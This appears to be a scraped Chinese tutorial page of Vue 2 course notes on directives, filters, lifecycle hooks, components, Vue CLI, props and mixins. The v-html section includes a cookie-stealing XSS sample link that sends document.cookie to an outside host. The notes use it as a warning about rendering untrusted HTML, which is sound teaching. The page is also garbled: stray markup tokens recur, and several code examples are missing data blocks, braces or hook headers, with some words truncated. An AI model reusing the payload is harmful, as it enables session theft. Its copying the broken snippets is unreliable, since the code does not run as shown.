    				男<input type="radio" name="sex" v-model="userInfo.sex" value="male"><input type="radio" name="sex" v-model="userInfo.sex" value="female"> <br/><br/>
    				爱好:
    				学习<input type="checkBox" v-model="userInfo.hobby" value="study">
    				打游戏<input type="checkBox" v-model="userInfo.hobby" value="game">
    				吃饭<input type="checkBox" v-model="userInfo.hobby" value="eat">
    				<br/><br/>
    				所属校区:
    				<select v-model="userInfo.city">
    					<option value="">请选择校区</option>
    					<option value="beijing">北京</option>
    					<option value="shanghai">上海</option>
    					<option value="shenzhen">深圳</option>
    					<option value="wuhan">武汉</option>
    				</select>
    				<br/><br/>
    				其他信息:
    				<textarea v-model.lazy="userInfo.other"></textarea> <br/><br/>
    				<input type="checkBox" v-model="userInfo.agree">阅读并接受<a href="http://www.atguigu.com">用户协议》</a>
    				<button>提交</button>
    			</form>
    		</div>
    	</body>
    
    	<script type="text/javascript">
    		Vue.config.productionTip = false
    
    		new Vue({
    			el:'#root',
    			data:{
    				userInfo:{
    					account:'',
    					password:'',
    					age:0,
    					sex:'female',
    					hobby:[],
    					city:'beijing',
    					other:'',
    					agree:''
    				}
    			},
    			methods: {
    				demo(){
    					console.log(JSON.stringify(this.userInfo))
    				}
    			}
    		})
    	</script>
    </html>
    

    效果

    总结:

    收集表单数据:

    • 若:<input type="text"/>,则v-model收集的是value值,用户输入的内容就是value值
    • 若:<input type="radio"/>,则v-model收集的是value值,且要给标签配置value属性
    • 若:<input type="checkBox"/>
      • 没有配置value属性,那么收集的是checked属性(勾选 or 未勾选,是布尔值)
      • 配置了value属性
        • v-model的初始值是非数组,那么收集的就是checked(勾选 or 未勾选,是布尔值)
        • v-model的初始值是数组,那么收集的就是value组成的数组

    v-model的三个修饰符:

    @H_987_404@
  • lazy:失去焦点后再收集数据
  • number:输入字符串转为有效的数字
  • trim:输入首尾空格过滤
  • 1.15. 过滤器

    <!DOCTYPE html>
    <html>
    	<head>
    		<Meta charset="UTF-8" />
    		<title>过滤器</title>
    		<script type="text/javascript" src="../js/vue.js"></script>
    		<script src="https://cdn.bootcdn.net/ajax/libs/dayjs/1.10.6/dayjs.min.js"></script>
    	</head>
    	<body>
    		<div id="root">
    			<h2>时间</h2>
                <h3>当前时间戳:{{time}}</h3>
                <h3>转换后时间:{{time | timeFormater()}}</h3>
    			<h3>转换后时间:{{time | timeFormater('YYYY-MM-DD HH:mm:ss')}}</h3>
    			<h3>截取年月日:{{time | timeFormater() | mySlice}}</h3>
    		</div>
    	</body>
    
    	<script type="text/javascript">
    		Vue.config.productionTip = false
    		//全局过滤器
    		Vue.filter('mySlice',function(value){
    			return value.slice(0,11)
    		})
    		new Vue({
                el:'#root',
                data:{
                    time:1626750147900,
    			//局部过滤器
                filters:{
                    timeFormater(value, str="YYYY年MM月DD日 HH:mm:ss"){
                        return dayjs(value).format(str)
                    }
                }
            })
    	</script>
    </html>
    

    效果

    总结:

    过滤器:

    • 定义:对要显示的数据进行特定格式化后再显示(适用于一些简单逻辑的处理)。

    • 语法:

      @H_987_404@
    • 注册过滤器:Vue.filter(name,callback)new Vue{filters:{}}

    • 使用过滤器:{{ xxx | 过滤器名}}v-bind:属性 = "xxx | 过滤器名"

    • 备注:

      @H_987_404@
    • 过滤器可以接收额外参数,多个过滤器也可以串联
    • 并没有改变原本的数据,而是产生新的对应的数据

    1.16. 内置指令

    1.16.1. v-text指令

    <!DOCTYPE html>
    <html>
    	<head>
    		<Meta charset="UTF-8" />
    		<title>v-text指令</title>
    		<script type="text/javascript" src="../js/vue.js"></script>
    	</head>
    	<body>
    		<div id="root">
    			<div>你好,{{name}}</div>
    			<div v-text="name"></div>
    			<div v-text="str"></div>
    		</div>
    	</body>
    
    	<script type="text/javascript">
    		Vue.config.productionTip = false 
    		
    		new Vue({
    			el:'#root',
    			data:{
    				name:'JOJO',
    				str:'<h3>你好啊!</h3>'
    			}
    		})
    	</script>
    </html>
    

    效果

    总结:

    • 之前学过的指令:

      • v-bind:单向绑定解析表达式,可简写为:
      • v-model:双向数据绑定
      • v-for:遍历数组 / 对象 / 字符串
      • v-on:绑定事件监听,可简写为@
      • v-if:条件渲染(动态控制节点是否存存在)
      • v-else:条件渲染(动态控制节点是否存存在)
      • v-show:条件渲染 (动态控制节点是否展示)
    • v-text指令:

      @H_987_404@
    • 作用:向其所在的节点中渲染文本内容

    • 与插值语法的区别:v-text替换掉节点中的内容{{xx}}则不会。

    1.16.2. v-html指令

    <!DOCTYPE html>
    <html>
    	<head>
    		<Meta charset="UTF-8" />
    		<title>v-html指令</title>
    		<script type="text/javascript" src="../js/vue.js"></script>
    	</head>
    	<body>
    		<div id="root">
    			<div>Hello,{{name}}</div>
    			<div v-html="str"></div>
    			<div v-html="str2"></div>
    		</div>
    	</body>
    
    	<script type="text/javascript">
    		Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示
    
    		new Vue({
    			el:'#root',
    				str:'<h3>你好啊!</h3>',
    				str2:'<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>兄弟我找到你想要的资源了,快来!</a>',
    			}
    		})
    	</script>
    </html>
    

    效果

    总结:

    v-html指令:

    @H_987_404@
  • 作用:向指定节点中渲染包含html结构的内容

  • 与插值语法的区别:

    @H_987_404@
  • v-html会替换掉节点中所有的内容{{xx}}则不会
  • v-html可以识别html结构
  • 严重注意:v-html安全性问题!!!

    @H_987_404@
  • 在网站上动态渲染任意HTML是非常危险的,容易导致XSS攻击
  • 一定要在可信的内容上使用v-html永远不要用在用户提交的内容上!!!
  • 1.16.3. v-cloak指令

    <!DOCTYPE html>
    <html>
    	<head>
    		<Meta charset="UTF-8" />
    		<title>v-cloak指令</title>
    		<style>
    			[v-cloak]{
    				display:none;
    			}
    		</style>
    	</head>
    	<body>
    		<div id="root">
    			<h2 v-cloak>{{name}}</h2>
    		</div>
    		<script type="text/javascript" src="../js/vue.js"></script>
    	</body>
    	
    	<script type="text/javascript">
    		Vue.config.productionTip = false
    		
    		new Vue({
    			el:'#root',
    			data:{
    				name:'尚硅谷'
    			}
    		})
    	</script>
    </html>
    

    效果

    总结:

    v-cloak指令(没有值):

    @H_987_404@
  • 本质是一个特殊属性,Vue实例创建完毕并接管容器后,会删掉v-cloak属性
  • 使用css配合v-cloak可以解决网速慢时页面展示出{{xxx}}的问题
  • 1.16.4. v-once指令

    <!DOCTYPE html>
    <html>
    	<head>
    		<Meta charset="UTF-8" />
    		<title>v-once指令</title>
    		<script type="text/javascript" src="../js/vue.js"></script>
    	</head>
    	<body>
    		<div id="root">
    			<h2 v-once>n初始化的值是:{{n}}</h2>
                <h2>n现在的值是:{{n}}</h2>
                <button @click="n++">点我n+1</button>
    		</div>
    	</body>
    
    	<script type="text/javascript">
    		Vue.config.productionTip = false 
    		
    		new Vue({
    			el:'#root',
    			data:{
    				n:1
    			}
    		})
    	</script>
    </html>
    

    效果

    总结:

    v-once指令:

    @H_987_404@
  • v-once所在节点在初次动态渲染后,就视为静态内容

  • 以后数据的改变不会引起v-once所在结构的更新,可以用于优化性能

  • 1.16.5. v-pre指令

    <!DOCTYPE html>
    <html>
    	<head>
    		<Meta charset="UTF-8" />
    		<title>v-pre指令</title>
    		<script type="text/javascript" src="../js/vue.js"></script>
    	</head>
    	<body>
    		<div id="root">
    			<h2 v-pre>Vue其实很简单</h2>
    			<h2>当前的n值是:{{n}}</h2>
    			<button @click="n++">点我n+1</button>
    		</div>
    	</body>
    
    	<script type="text/javascript">
    		Vue.config.productionTip = false
    
    		new Vue({
    			el:'#root',
    			data:{
    				n:1
    			}
    		})
    	</script>
    </html>
    

    效果

    总结:

    v-pre指令:

    @H_987_404@
  • 跳过其所在节点的编译过程。
  • 可利用它跳过:没有使用指令语法、没有使用插值语法的节点,会加快编译
  • 1.17. 自定义指令

    <!DOCTYPE html>
    <html>
    	<head>
    		<Meta charset="UTF-8" />
    		<title>自定义指令</title>
    		<script type="text/javascript" src="../js/vue.js"></script>
    	</head>
        <!-- 
    		需求1:定义一个v-big指令,和v-text功能类似,但会把绑定的数值放大10倍。
    		需求2:定义一个v-fbind指令,和v-bind功能类似,但可以让其所绑定的input元素获取焦点。
    	-->
    	<body>
    		<div id="root">
    			<h2>当前的n值是:<span v-text="n"></span> </h2>
    			<h2>放大10倍后的n值是:<span v-big="n"></span> </h2>
    			<button @click="n++">点我n+1</button>
    			<hr/>
    			<input type="text" v-fbind:value="n">
    		</div>
    	</body>
    	
    	<script type="text/javascript">
    		Vue.config.productionTip = false
    
    		new Vue({
    			el:'#root',
    			data:{
    				n:1
    			},
    			directives:{
                    //big函数何时会被调用?1.指令与元素成功绑定时(一上来) 2.指令所在的模板被重新解析时
    				big(element,binding){
    					console.log('big',this) //注意此处的this是window
    					element.innerText = binding.value * 10
    				},
    				fbind:{
    					//指令与元素成功绑定时(一上来)
    					bind(element,binding){
    						element.value = binding.value
    					},
    					//指令所在元素被插入页面
    					inserted(element,binding){
    						element.focus()
    					},
    					//指令所在的模板被重新解析时
    					update(element,binding){
    						element.value = binding.value
    					}
    				}
    			}
    		})
    	</script>
    </html>
    

    效果

    总结:

    @H_987_404@
  • 自定义指令定义语法:

    @H_987_404@
  • 局部指令:

    @H_987_404@
  •  new Vue({															
     	directives:{指令名:配置对象}   
     }) 		
    
  •  new Vue({															
     	directives:{指令名:回调函数}   
     }) 	
    
  • 全局指令:

    @H_987_404@
  • Vue.directive(指令名,配置对象)
  • Vue.directive(指令名,回调函数)
  • 例如:

    Vue.directive('fbind',{
    	//指令与元素成功绑定时(一上来)
    	bind(element,binding){
    		element.value = binding.value
    	},
        //指令所在元素被插入页面
        inserted(element,binding){
        	element.focus()
        },
        //指令所在的模板被重新解析时
        update(element,binding){
        	element.value = binding.value
        }
    })
    
  • 配置对象中常用的3个回调函数

    @H_987_404@
  • bind(element,binding):指令与元素成功绑定时调用
  • inserted(element,binding):指令所在元素被插入页面调用
  • update(element,binding):指令所在模板结构被重新解析时调用
  • 备注:

    @H_987_404@
  • 指令定义时不加“v-”,但使用时要加“v-”

  • 指令名如果是多个单词,要使用kebab-case命名方式,不要用camelCase命名

    new Vue({
    	el:'#root',
    	data:{
    		n:1
    	},
    	directives:{
    		'big-number'(element,binding){
    			element.innerText = binding.value * 10
    		}
    	}
    })
    
  • 1.18. Vue生命周期

    1.18.1. 引出生命周期

    <!DOCTYPE html>
    <html>
    	<head>
    		<Meta charset="UTF-8" />
    		<title>引出生命周期</title>
    		<script type="text/javascript" src="../js/vue.js"></script>
    	</head>
    	<body>
    		<div id="root">
    			<h2 v-if="a">你好啊</h2>
    			<h2 :style="{opacity}">欢迎学习Vue</h2>
    		</div>
    	</body>
    
    	<script type="text/javascript">
    		Vue.config.productionTip = false 
    
    		 new Vue({
    			el:'#root',
    			data:{
    				a:false,
    				opacity:1
    			},
    			mounted(){
    				console.log('mounted',this)
    				setInterval(() => {
    					this.opacity -= 0.01
    					if(this.opacity <= 0) this.opacity = 1
    				},16)
    			},
    		})
    	</script>
    </html>
    

    效果

    总结:

    生命周期:

    @H_987_404@
  • 又名:生命周期回调函数、生命周期函数、生命周期钩子
  • 是什么:Vue在关键时刻帮我们调用的一些特殊名称函数
  • 生命周期函数的名字不可更改,但函数的具体内容是程序员根据需求编写的
  • 生命周期函数中的this指向是vm组件实例对象
  • 1.18.2. 分析生命周期

    <!DOCTYPE html>
    <html>
    	<head>
    		<Meta charset="UTF-8" />
    		<title>分析生命周期</title>
    		<script type="text/javascript" src="../js/vue.js"></script>
    	</head>
    	<body>
    		<div id="root">
    			<h2 v-text="n"></h2>
    			<h2>当前的n值是:{{n}}</h2>
    			<button @click="add">点我n+1</button>
    			<button @click="bye">点我销毁vm</button>
    		</div>
    	</body>
    
    	<script type="text/javascript">
    		Vue.config.productionTip = false
    
    		new Vue({
    			el:'#root',
    			// template:`
    			// 	<div>
    			// 		<h2>当前的n值是:{{n}}</h2>
    			// 		<button @click="add">点我n+1</button>
    			// 	</div>
    			// `,
    			methods: {
    				add(){
    					console.log('add')
    					this.n++
    				},
    				bye(){
    					console.log('bye')
    					this.$destroy()
    				}
    			},
    			watch:{
    				n(){
    					console.log('n变了')
    				}
    			},
    			beforeCreate() {
    				console.log('beforeCreate')
    			},
    			created() {
    				console.log('created')
    			},
    			beforeMount() {
    				console.log('beforeMount')
    			},
    			mounted() {
    				console.log('mounted')
    			},
    			beforeUpdate() {
    				console.log('beforeUpdate')
    			},
    			updated() {
    				console.log('updated')
    			},
    			beforeDestroy() {
    				console.log('beforeDestroy')
    			},
    			destroyed() {
    				console.log('destroyed')
    			},
    		})
    	</script>
    </html>
    

    效果

    1.18.3. 总结生命周期

    <!DOCTYPE html>
    <html>
    	<head>
    		<Meta charset="UTF-8" />
    		<title>引出生命周期</title>
    		<script type="text/javascript" src="../js/vue.js"></script>
    	</head>
    	<body>
    		<div id="root">
    			<h2 :style="{opacity}">欢迎学习Vue</h2>
    			<button @click="opacity = 1">透明度设置为1</button>
    			<button @click="stop">点我停止变换</button>
    		</div>
    	</body>
    
    	<script type="text/javascript">
    		Vue.config.productionTip = false 
    
    		 new Vue({
    			el:'#root',
    			data:{
    				opacity:1
    			},
    			methods: {
    				stop(){
    					this.$destroy()
    				}
    			},this)
    				this.timer = setInterval(() => {
    					console.log('setInterval')
    					this.opacity -= 0.01
    					if(this.opacity <= 0) this.opacity = 1
    				},
    			beforeDestroy() {
    				clearInterval(this.timer)
    				console.log('vm即将驾鹤西游了')
    			},
    		})
    	</script>
    </html>
    

    效果

    总结:

    常用的生命周期钩子:

    @H_987_404@
  • mounted:发送ajax请求、启动定时器、绑定自定义事件、订阅消息等初始化操作

  • beforeDestroy:清除定时器、解绑自定义事件、取消订阅消息等收尾工作

  • 关于销毁Vue实例:

    @H_987_404@
  • 销毁后借助Vue开发者工具看不到任何信息

  • 销毁后自定义事件会失效,但原生DOM事件依然有效

  • 一般不会在beforeDestroy操作数据,因为即便操作数据,也不会再触发更新流程了

  • 2. Vue组件化编程

    2.1. 模块与组件、模块化与组件化

    image-20210723115936262

    image-20210723120028543

    2.1.1. 模块

    @H_987_404@
  • 理解:向外提供特定功能的 js 程序,一般就是一个 js 文件
  • 为什么:js 文件很多很复杂
  • 作用:复用 js,简化 js 的编写,提高 js 运行效率
  • 2.1.2. 组件

    @H_987_404@
  • 定义:用来实现局部功能代码资源的集合(html/css/js/image…)
  • 为什么:一个界面的功能很复杂
  • 作用:复用编码,简化项目编码,提高运行效率
  • 2.1.3. 模块化

    当应用中的 js 都以模块来编写的,那这个应用就是一个模块化的应用

    2.1.4. 组件化

    当应用中的功能都是多组件的方式来编写的,那这个应用就是一个组件化的应用

    2.2. 非单文件组件

    2.2.1. 基本使用

    <!DOCTYPE html>
    <html>
    	<head>
    		<Meta charset="UTF-8" />
    		<title>基本使用</title>
    		<script type="text/javascript" src="../js/vue.js"></script>
    	</head>
    	<body>
    		<div id="root">
    			<h1>{{msg}}</h1>
    			<hr>
    			<!-- 第三步:编写组件标签 -->
    			<school></school>
    			<hr>
    			<!-- 第三步:编写组件标签 -->
    			<student></student>
    		</div>
    	</body>
    
    	<script type="text/javascript">
    		Vue.config.productionTip = false
    
    		//第一步:创建school组件
    		const school = Vue.extend({
                //组件定义时,一定不要写el配置项,因为最终所有的组件都要被一个vm管理,由vm决定服务于哪个容器。
    			template:`
    				<div class="demo">
    					<h2>学校名称:{{schoolName}}</h2>
    					<h2>学校地址:{{address}}</h2>	
    				</div>
    			`,
    			data(){
    				return {
    					schoolName:'尚硅谷',
    					address:'北京昌平'
    				}
    			}
    		})
    
    		//第一步:创建student组件
    		const student = Vue.extend({
    			template:`
    				<div>
    					<h2>学生姓名:{{studentName}}</h2>
    					<h2>学生年龄:{{age}}</h2>
    				</div>
    			`,
    			data(){
    				return {
    					studentName:'JOJO',
    					age:20
    				}
    			}
    		})
    		
    		//创建vm
    		new Vue({
    			el:'#root',
    			data:{
    				msg:'你好,JOJO!'
    			},
    			//第二步:注册组件(局部注册
    			components:{
    				school,
    				student
    			}
    		})
    	</script>
    </html>
    

    效果

    总结:

    • Vue中使用组件的三大步骤:

      @H_987_404@
    • 定义组件(创建组件)
    • 注册组件
    • 使用组件(写组件标签)
    • 如何定义一个组件?

      使用Vue.extend(options)创建,其中optionsnew Vue(options)时传入的options几乎一样,但也有点区别:

      @H_987_404@
    • el不要写,为什么?

      最终所有的组件都要经过一个vm的管理,由vm中的el决定服务哪个容器

    • data必须写成函数,为什么?

      避免组件被复用时,数据存在引用关系

    • 如何注册组件?

      @H_987_404@
    • 局部注册new Vue的时候传入components选项
    • 全局注册Vue.component('组件名',组件)
    • 编写组件标签<school></school>

    2.2.2. 组件注意事项

    <!DOCTYPE html>
    <html>
    	<head>
    		<Meta charset="UTF-8" />
    		<title>组件注意事项</title>
    		<script type="text/javascript" src="../js/vue.js"></script>
    	</head>
    	<body>
    		<div id="root">
    			<h1>{{msg}}</h1>
    			<school></school>
    		</div>
    	</body>
    
    	<script type="text/javascript">
    		Vue.config.productionTip = false
    		
    		const school = Vue.extend({
    			name:'atguigu',
    			template:`
    				<div>
    					<h2>学校名称:{{name}}</h2>	
    					<h2>学校地址:{{address}}</h2>	
    				</div>
    			`,
    			data(){
    				return {
    					name:'尚硅谷',
    					address:'北京'
    				}
    			}
    		})
    
    		new Vue({
    			el:'#root',
    			data:{
    				msg:'欢迎学习Vue!'
    			},
    			components:{
    				school
    			}
    		})
    	</script>
    </html>
    

    效果

    总结:

    • 关于组件名:

      • 一个单词组成:

        • 第一种写法(首字母小写):school
        • 第二种写法(首字母大写):School
      • 多个单词组成:

        • 第一种写法(kebab-case命名):my-school
        • 第二种写法(CamelCase命名):MySchool (需要Vue脚手架支持
      • 备注:

        • 组件名尽可能回避HTML中已有的元素名称,例如:h2、H2都不行
        • 可以使用name配置项指定组件在开发者工具中呈现的名字
    • 关于组件标签

      • 第一种写法:<school></school>
      • 第二种写法:<school/>
      • 备注:不使用脚手架时,<school/>会导致后续组件不能渲染
    • 一个简写方式:const school = Vue.extend(options)可简写为:const school = options

    2.2.3. 组件的嵌套

    组件的嵌套

    <!DOCTYPE html>
    <html>
    	<head>
    		<Meta charset="UTF-8" />
    		<title>组件的嵌套</title>
    		<script type="text/javascript" src="../js/vue.js"></script>
    	</head>
    	<body>
    		<div id="root">
    		</div>
    	</body>
    
    	<script type="text/javascript">
    		Vue.config.productionTip = false
    		
    		//定义student组件
    		const student = Vue.extend({
    			template:`
    				<div>
    					<h2>学生名称:{{name}}</h2>	
    					<h2>学生年龄:{{age}}</h2>	
    				</div>
    			`,
    			data(){
    				return {
    					name:'JOJO',
    					age:20
    				}
    			}
    		})
    
    		//定义school组件
    		const school = Vue.extend({
    			template:`
    				<div>
    					<h2>学校名称:{{name}}</h2>	
    					<h2>学校地址:{{address}}</h2>	
    					<student></student>
    				</div>
    			`,
    			components:{
    				student
    			},
    					address:'北京'
    				}
    			}
    		})
    
    		//定义hello组件
    		const hello = Vue.extend({
    			template:`
    				<h1>{{msg}}</h1>
    			`,
    			data(){
    				return {
    					msg:"欢迎学习尚硅谷Vue教程!"
    				}
    			}
    		})
    
    		//定义app组件
    		const app = Vue.extend({
    			template:`
    				<div>
    					<hello></hello>
    					<school></school>
    				</div>
    			`,
    			components:{
    				school,
    				hello
    			}
    		})
    
    		//创建vm
    		new Vue({
    			template:`
    				<app></app>
    			`,
    			el:'#root',
    			components:{
    				app
    			}
    		})
    	</script>
    </html>
    

    效果

    2.2.4. VueComponent

    关于VueComponent:

    @H_987_404@
  • school组件本质是一个名为VueComponent的构造函数,且不是程序员定义的,是Vue.extend生成

  • 我们只需要写<school/><school></school>,Vue解析时会帮我们创建school组件的实例对象,即Vue帮我们执行的:new VueComponent(options)

  • 特别注意:每次调用Vue.extend,返回的都是一个全新的VueComponent!

  • 关于this指向:

    @H_987_404@
  • 组件配置中:data函数methods中的函数watch中的函数computed中的函数 它们的this均是VueComponent实例对象
  • new Vue(options)配置中:data函数methods中的函数watch中的函数computed中的函数 它们的this均是Vue实例对象
  • VueComponent的实例对象,以后简称vc(也可称之为:组件实例对象)

    Vue的实例对象,以后简称vm

    只有在本笔记中VueComponent的实例对象才简称为vc

  • 2.2.5. 一个重要的内置关系

    <!DOCTYPE html>
    <html>
    	<head>
    		<Meta charset="UTF-8" />
    		<title>一个重要的内置关系</title>
    		<script type="text/javascript" src="../js/vue.js"></script>
    	</head>
    	<body>
    		<div id="root">
    			<school></school>
    		</div>
    	</body>
    
    	<script type="text/javascript">
    		Vue.config.productionTip = false
    		Vue.prototype.x = 99
    
    		const school = Vue.extend({
    			name:'school',
    			template:`
    				<div>
    					<h2>学校名称:{{name}}</h2>	
    					<h2>学校地址:{{address}}</h2>	
    					<button @click="showX">点我输出x</button>
    				</div>
    			`,
    					address:'北京'
    				}
    			},
    			methods: {
    				showX(){
    					console.log(this.x)
    				}
    			},
    		})
    
    		const vm = new Vue({
    			el:'#root',
    			data:{
    				msg:'你好'
    			},
    			components:{school}
    		})
    	</script>
    </html>
    

    效果

    总结:

    image-20210730113353890

    @H_987_404@
  • 一个重要的内置关系:VueComponent.prototype.__proto__ === Vue.prototype
  • 为什么要有这个关系:让组件实例对象(vc)可以访问到 Vue 原型上的属性方法
  • 2.3. 单文件组件

    • School.vue:

      <template>
          <div id='Demo'>
              <h2>学校名称:{{name}}</h2>
              <h2>学校地址:{{address}}</h2>
              <button @click="showName">点我提示学校名</button>
          </div>
      </template>
      
      <script>
          export default {
              name:'School',data() {
                  return {
                      name:'尚硅谷',address:'北京'
                  }
              },methods: {
                  showName(){
                      alert(this.name)
                  }
              },}
      </script>
      
      <style>
          #Demo{
              background: orange;
          }
      </style>
      
    • Student.vue:

      <template>
          <div>
              <h2>学生姓名:{{name}}</h2>
              <h2>学生年龄:{{age}}</h2>
          </div>
      </template>
      
      <script>
          export default {
              name:'Student',data() {
                  return {
                      name:'JOJO',age:20
                  }
              },}
      </script>
      
    • App.vue:

      <template>
          <div>
              <School></School>
              <Student></Student>
          </div>
      </template>
      
      <script>
          import School from './School.vue'
          import Student from './Student.vue'
      
          export default {
              name:'App',components:{
                  School,Student
              }
          }
      </script>
      
    • main.js:

      import App from './App.vue'
      
      new Vue({
          template:`<App></App>`,
          el:'#root',
          components:{App}
      })
      
    • index.html

      <!DOCTYPE html>
      <html lang="en">
      <head>
          <Meta charset="UTF-8">
          <Meta http-equiv="X-UA-Compatible" content="IE=edge">
          <Meta name="viewport" content="width=device-width,initial-scale=1.0">
          <title>文件组件练习</title>
      </head>
      <body>
          <div id="root"></div>
          <script src="../../js/vue.js"></script>
          <script src="./main.js"></script>
      </body>
      </html>
      

    3. 使用Vue CLI脚手架

    3.1. 初始化脚手架

    3.1.1. 说明

    @H_987_404@
  • Vue 脚手架是 Vue 官方提供的标准化开发工具(开发平台)
  • 最新的版本是 4.x
  • 文档:Vue CLI
  • 3.1.2. 具体步骤

    @H_987_404@
  • 如果下载缓慢请配置 npm 淘宝镜像:npm config set registry http://registry.npm.taobao.org
  • 全局安装@vue/cli:npm install -g @vue/cli
  • 切换到你要创建项目的目录,然后使用命令创建项目:vue create xxxx
  • 选择使用vue的版本
  • 启动项目:npm run serve
  • 暂停项目:Ctrl+C
  • Vue 脚手架隐藏了所有 webpack 相关的配置,若想查看具体的 webpakc 配置,请执行:

    vue inspect > output.js

    3.1.3. 分析脚手架结构

    脚手架文件结构:

    .文件目录
    ├── node_modules 
    ├── public
    │   ├── favicon.ico: 页签图标
    │   └── index.html: 主页面
    ├── src
    │   ├── assets: 存放静态资源
    │   │   └── logo.png
    │   │── component: 存放组件
    │   │   └── HelloWorld.vue
    │   │── App.vue: 汇总所有组件
    │   └── main.js: 入口文件
    ├── .gitignore: git版本管制忽略的配置
    ├── babel.config.js: babel的配置文件
    ├── package.json: 应用包配置文件 
    ├── README.md: 应用描述文件
    └── package-lock.json: 包版本控制文件
    

    src/components/School.vue:

    <template>
        <div id='Demo'>
            <h2>学校名称:{{name}}</h2>
            <h2>学校地址:{{address}}</h2>
            <button @click="showName">点我提示学校名</button>
        </div>
    </template>
    
    <script>
        export default {
            name:'School',methods: {
                showName() {
                    alert(this.name)
                }
            },}
    </script>
    
    <style>
        #Demo{
            background: orange;
        }
    </style>
    

    src/components/Student.vue:

    <template>
        <div>
            <h2>学生姓名:{{name}}</h2>
            <h2>学生年龄:{{age}}</h2>
        </div>
    </template>
    
    <script>
        export default {
            name:'Student',}
    </script>
    

    src/App.vue:

    <template>
        <div>
            <School></School>
            <Student></Student>
        </div>
    </template>
    
    <script>
        import School from './components/School.vue'
        import Student from './components/Student.vue'
    
        export default {
            name:'App',Student
            }
        }
    </script>
    

    src/main.js:

    import Vue from 'vue'
    import App from './App.vue'
    
    Vue.config.productionTip = false
    
    new Vue({
        el:'#app',
        render: h => h(App),
    })
    

    public/index.html:

    <!DOCTYPE html>
    <html lang="">
        <head>
            <Meta charset="UTF-8">
            <!-- 针对IE浏览器的特殊配置,含义是让IE浏览器以最高渲染级别渲染页面 -->
            <Meta http-equiv="X-UA-Compatible" content="IE=edge">
            <!-- 开启移动端的理想端口 -->
            <Meta name="viewport" content="width=device-width,initial-scale=1.0">
            <!-- 配置页签图标 -->
            <link rel="icon" href="<%= BASE_URL %>favicon.ico">
            <!-- 配置网页标题 -->
            <title><%= htmlWebpackPlugin.options.title %></title>
        </head>
        <body>
            <!-- 容器 -->
            <div id="app"></div>
        </body>
    </html>
    

    效果

    3.1.4. render函数

    import Vue from 'vue'
    import App from './App.vue'
    
    Vue.config.productionTip = false
    
    new Vue({
        el:'#app',
        // 简写形式
    	render: h => h(App),
        // 完整形式
    	// render(createElement){
    	//     return createElement(App)
    	// }
    })
    

    总结:

    关于不同版本的函数

    @H_987_404@
  • vue.jsvue.runtime.xxx.js的区别:

    @H_987_404@
  • vue.js 是完整版的 Vue,包含:核心功能+模板解析器
  • vue.runtime.xxx.js 是运行版的 Vue,只包含核心功能,没有模板解析器
  • 因为 vue.runtime.xxx.js 没有模板解析器,所以不能使用 template 配置项,需要使用 render函数接收到的createElement 函数去指定具体内容

  • 3.1.5. 修改认配置

    module.exports = {
        pages: {
            index: {
                // 入口
                entry: 'src/index/main.js'
            }
        },
      // 关闭语法检查
      lineOnSave:false
    }
    

    3.2. ref属性

    <template>
        <div>
            <h1 ref="title">{{msg}}</h1>
            <School ref="sch"/>
            <button @click="show" ref="btn">点我输出ref</button>
        </div>
    </template>
    
    <script>
        import School from './components/School.vue'
        export default {
            name:'App',components: { School },data() {
                return {
                    msg:'欢迎学习Vue!'
                }
            },methods:{
                show(){
                    console.log(this.$refs.title)
                    console.log(this.$refs.sch)
                    console.log(this.$refs.btn)
                }
            }
        }
    </script>
    

    效果

    总结:

    ref属性

    @H_987_404@
  • 被用来给元素或子组件注册引用信息(id的替代者)
  • 应用在html标签获取的是真实DOM元素,应用在组件标签获取的是组件实例对象(vc)
  • 使用方式: @H_987_404@
  • 打标识:<h1 ref="xxx"></h1><School ref="xxx"></School>
  • 获取this.$refs.xxx
  • 3.3. props配置项

    src/App.vue:

    <template>
        <div>
            <Student name="JOJO" sex="男酮" :age="20" />
        </div>
    </template>
    
    <script>
        import Student from './components/Student.vue'
        export default {
            name:'App',components: { Student },}
    </script>
    

    src/components/Student.vue:

    <template>
        <div>
            <h1>{{msg}}</h1>
            <h2>学生姓名:{{name}}</h2>
            <h2>学生性别:{{sex}}</h2>
            <h2>学生年龄:{{age}}</h2>     
        </div>
    </template>
    
    <script>
        export default {
            name:'Student',data() {
                return {
                    msg:"我是一名来自枝江大学的男酮,嘿嘿,我的金轮~~",}
            },// 简单声明接收
    		// props:['name','age','sex']
    
            // 接收的同时对数据进行类型限制
    		/* props:{
    			name:String,age:Number,sex:String
    		} */
    
            // 接收的同时对数据进行类型限制 + 指定认值 + 限制必要性
    		props:{
    			name:{
    				type:String,required:true,},age:{
    				type:Number,default:99
    			},sex:{
    				type:String,required:true
    			}
    		}
        }
    </script>
    

    效果

    总结:

    props配置项:

    @H_987_404@
  • 功能:让组件接收外部传过来的数据

  • 传递数据:<Demo name="xxx"/>

  • 接收数据:

    @H_987_404@
  • 第一种方式(只接收):props:['name']

  • 第二种方式(限制数据类型):props:{name:String}

  • 第三种方式(限制类型、限制必要性、指定认值):

    props:{
        name:{
        	type:String, //类型
            required:true, //必要性
            default:'JOJO' //认值
        }
    }
    
  • props是只读的,Vue底层会监测你对props的修改,如果进行了修改,就会发出警告,若业务需求确实需要修改,那么请复制props的内容到data中一份,然后去修改data中的数据

    3.4. mixin混入

    局部混入:

    src/mixin.js:

    export const mixin = {
        methods: {
            showName() {
                alert(this.name)
            }
        },
        mounted() {
            console.log("你好呀~")
        }
    }
    

    src/components/School.vue

    <template>
        <div>
            <h2 @click="showName">学校姓名:{{name}}</h2>
            <h2>学校地址:{{address}}</h2>   
        </div>
    </template>
    
    <script>
        //引入混入
        import {mixin} from '../mixin'
        
        export default {
            name:'School',mixins:[mixin]
        }
    </script>
    

    src/components/Student.vue:

    <template>
        <div>
            <h2 @click="showName">学生姓名:{{name}}</h2>
            <h2>学生性别:{{sex}}</h2>   
        </div>
    </template>
    
    <script>
        //引入混入
        import {mixin} from '../mixin'
        
        export default {
            name:'Student',sex:'男'
                }
            },mixins:[mixin]
        }
    </script>
    

    src/App.vue:

    <template>
        <div>
            <School/>
            <hr/>
            <Student/>
        </div>
    </template>
    
    <script>
        import Student from './components/Student.vue'
        import School from './components/School.vue'
    
        export default {
            name:'App',components: { Student,School },}
    </script>
    

    效果


    全局混入:

    src/main.js:

    import Vue from 'vue'
    import App from './App.vue'
    import {mixin} from './mixin'
    
    Vue.config.productionTip = false
    Vue.mixin(mixin)
    
    new Vue({
        el:"#app",
        render: h => h(App)
    })
    

    效果


    总结:

    mixin(混入):

